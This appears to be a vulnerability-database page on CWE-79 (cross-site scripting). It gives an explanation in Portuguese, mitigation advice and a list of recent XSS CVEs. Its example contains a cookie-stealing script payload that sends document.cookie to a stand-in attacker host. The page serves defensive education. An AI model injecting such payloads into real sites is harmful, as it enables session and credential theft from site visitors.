Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-25095MEDIUMWordPress ReverbNation Widgets plugin <= 2.1 - Cross Site Scripting (XSS) vulnerability<EPSS 0.3%CVE-2024-12120MEDIUMRoyal Elementor Addons and Templates <= 1.7.1017 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-26891MEDIUMWordPress Ibtana plugin <= 1.2.5.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-42671MEDIUMA Host Header Poisoning Open Redirect issue in slabiak Appointment Scheduler v.1.0.5 allows a remote attacker to redirect users to a malicioEPSS 0.3%CVE-2025-6201MEDIUMPixel Manager for WooCommerce (PRO) <= 1.49.0 - Authenticated (Contributor+) Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2025-45892MEDIUMOpenCart version 4.1.0.4 is vulnerable to a Stored Cross-Site Scripting (XSS) attack via the blog editor. The vulnerability arises because iEPSS 0.3%CVE-2025-5700MEDIUMSimple Logo Carousel <= 1.9.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via id ParameterEPSS 0.3%CVE-2024-37350MEDIUMCross-site scripting vulnerability in the Absolute Secure Access administrative console prior to 13.06EPSS 0.3%CVE-2025-15452MEDIUMxnx3 wangmarket Backend Variable Search variableList.do variableList cross site scriptingEPSS 0.3%CVE-2025-5589MEDIUMStreamWeasels Kick Integration <= 1.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via status-classic-offline-text ParameterEPSS 0.3%CVE-2024-44573MEDIUMA stored cross-site scripting (XSS) vulnerability in the VLAN configuration of RELY-PCIe v22.2.1 to v23.1.0 allows attackers to execute arbiEPSS 0.3%CVE-2024-10000MEDIUMMasteriyo LMS – eLearning and Online Course Builder for WordPress <= 1.13.3 - Authenticated (Student+) Stored Cross-Site Scripting via Ask a Question FunctionalityEPSS 0.3%CVE-2025-25076MEDIUMWordPress Graceful Email Obfuscation plugin <= 0.2.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-4439HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.3%CVE-2026-3982MEDIUMitsourcecode University Management System view_result.php cross site scriptingEPSS 0.3%CVE-2025-31855MEDIUMWordPress SMM API plugin <= 6.0.31 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-67943HIGHWordPress My auctions allegro plugin <= 3.6.32 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-13867MEDIUMListivo - Classified Ads WordPress Theme <= 2.3.67 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-1513HIGHPhotos, Files, YouTube, Twitter, Instagram, TikTok, Ecommerce Contest Gallery – Upload, Vote, Sell via PayPal, Social Share Buttons <= 26.0.0.1 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-46469MEDIUMWordPress Send From plugin <= 2.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%